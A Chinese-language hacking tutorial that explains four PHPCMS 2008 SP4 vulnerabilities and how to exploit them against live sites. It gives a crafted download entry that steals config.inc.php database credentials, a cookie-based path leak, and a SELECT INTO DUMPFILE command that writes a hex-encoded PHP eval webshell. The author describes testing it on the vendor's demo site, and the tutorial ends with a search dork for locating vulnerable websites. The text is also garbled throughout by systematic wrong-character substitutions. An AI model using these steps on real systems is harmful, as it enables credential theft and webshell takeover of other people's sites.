自上个月PHPCMS2008 SP3爆出了“企业黄页”的盲注漏洞后,目前程序已经升级到了的SP4,但惋惜的是SP4还没公布几天,就有人发现了PHPCMS SP4存在的安全漏洞,并且还不止一个,一会儿就被发现了4个漏洞!这4个漏洞分别是下载任意文件漏洞、暴路径漏洞、删除任意文件漏洞以及注入漏洞,本文咱们就来详细的了解一下这些漏洞以及利用方法。
1、下载任意文件漏洞
我从官方网站下载了存在漏洞的phpcms sp4_gbk,在虚拟机的PHP环境中把程序安装了起来,访问地址为。
PHPCMS SP4的这四个漏洞都是由Jannock发现的,如下就是Jannock对该漏洞的简单分析,其实不光是在IIs存在该漏洞,在APACHE下也一样存在该漏洞的。存在漏洞的文件为“commment\down.php”,具体的语句就是第12行的“if(preg_match('/\.php$/',$f)|| strpos($f,"\\"))showmessage('地址有误');”,只判断了文件后辍PHP,但没有考虑到在Windows系统中,文件名为“xx.php”(后面多了一个空格)也会被认为是xx.php文件的状况,所以利用这个判断不彻底的缺陷,当PHPCMS运行在Windows系统下时,咱们就能够下载任意的文件。
下面来看漏洞的利用过程,咱们首先须要注册一个用户,我注册了一个用户test,注册成功后点击“会员中心”,在会员中心点击“信息管理”,在“下载”处添加
一个下载。
这里我在“办公软件”中添加了一个下载,点击“发布”按钮后就来到了添加下载的地方,“标题”和“描述”能够随便填写,我填写的都为test,“下载列表”就填写“hackerxfileslinclude/config.inc.php%201”,点击“肯定”按钮后就添加了一个下载,添加的下载要等管理员审核经过后别人才能看到,但咱们不用等待管理员审核经过就能利用这个漏洞,点击“信息管理”中的“待审”,就看到了咱们等待审核的那个下载。
点击“管理”,而后点击“管理操做”中的“预览”,就打开了预览页面,点击“下载歹列表”后面的hackerxfiles,就打开了下载页面,直接点击页面中的“点击下载”按钮后就弹出了下载对话框。,咱们能够下载config.inc.php了。
打开下载的config.inc.php,就能够看到PHPCMSSP4的数据库链接信息了。后来我又到PHPCMS的官方演示站点测试了一下,也成功了。在获得数据库的链接密码后,就能够尝试一下是否与PHPCMS SP4的后台管理员密码同样,若是使用的也是相同的密码,那咱们就能够登陆进入后台拿webshell了(至于在后台如何拿到webshell之前应该有谈及过,你们能够自行去查一查)。
即便数据库链接密码不是后台管理员密码也仍是有其它利用方法的,若是mysql服务器容许外部链接,咱们就能够链接上去执行查询命令“select * from phpcms_memberwhere userid=l”(表前缀为phpcms_的状况下)来获得后台管理员的用户名和密码,若是密码的MID5值可以破解出来,那么一样能够进入后台来拿webshell。对于密码的MD5值破解不出来的状况,若是权限够的话,咱们还能够经过导出文件采获得webshell,导出文件时要用到的网站绝对路径咱们能够经过下面的暴路径漏洞来获得。最后在提醒一下你们,咱们把“hackerxfiles|include/config.inc.php%201”中的“include/config.inc.php”替换成别的文件就能够实现下载任意文件了。
2、暴路径漏洞
咱们来看一下Jannock对这个漏洞的分析,存在漏洞的文件为“Corpandresize/ui.php”。
咱们能够看出,网站绝对路径被保存在了cookie中。关于这个漏洞利用,咱们一样仍是须要先注册一个用户,登陆后直接访问,就会出来‘请选择要剪切的图片”的对话框,点击“肯定”后会询问是否关闭窗口,咱们选择“否”,而后在浏览器的地址栏里输入“javascript:alert(document.cookie)”后回车就能够看到当前的cookie信息了。
其中“tmp=C%3A%2FAppServ%2Fwww%2Fphpcms%2F%2F”中的“%3A”是“:”的URL编码,“%2F”是“/”的URL编码,还原回来就是,如今咱们就知道网站的绝对路径是“c:/AppServ/www/phpcms/”了,在傲游浏览器中利用Cookie Editer插件能够更直观的看到当前的cookie。
在获得网站的绝对路径后,若是权限够的话咱们就能够经过相似“select Ox3C3F706870206576616C28245F504F535458785D293F3E into DUMPFILE' C:/AppServ/www/phpcms/php.php';“的代码来导出一个webshell,其中Ox3C3 F706870206576616C2 8245F504F535458785D293F3E就是“<?php eval($_POST[x])?>”的十六进制表示形式。
3、SQL注A漏洞
还发现了PHPCMS SP4的一个SQL注入漏洞,对该漏洞相应的分析以下,存在漏洞的文件为“ads\include\ads.class.php”。
能够看出,变量$adsid没有通过处理就直接进人了SQL查询,形成了SQL注入漏洞。给出的漏洞利用方法是注册普通会员账号,预订一个广告,而后修改adsid的值进行注入,但很惭愧,我不知道具体的要如何修改adsid的值,不会构造注入语句,还但愿高手们可以撰文分享一下。
4、删除任意文件漏洞
还发现了PHPCMS SP4存在删除任意文件的漏洞,漏洞的分析以下。
在图片剪切那里先读取cookie中的信息,而后直接删除文件,这就形成了删除任意文件的漏洞。但我在测试时却没有测试成功,多是我技术不到位的缘故吧。
本文危险漫步给你们介绍了PHPCMS SP4的几个漏洞,咱们在google或百度中搜索“Powered by Phpcms ”,后台登陆页面显示“PHPCMS SP4”的就是使用了PHPCMS SP4的网站,极可能存在这些漏洞。javascript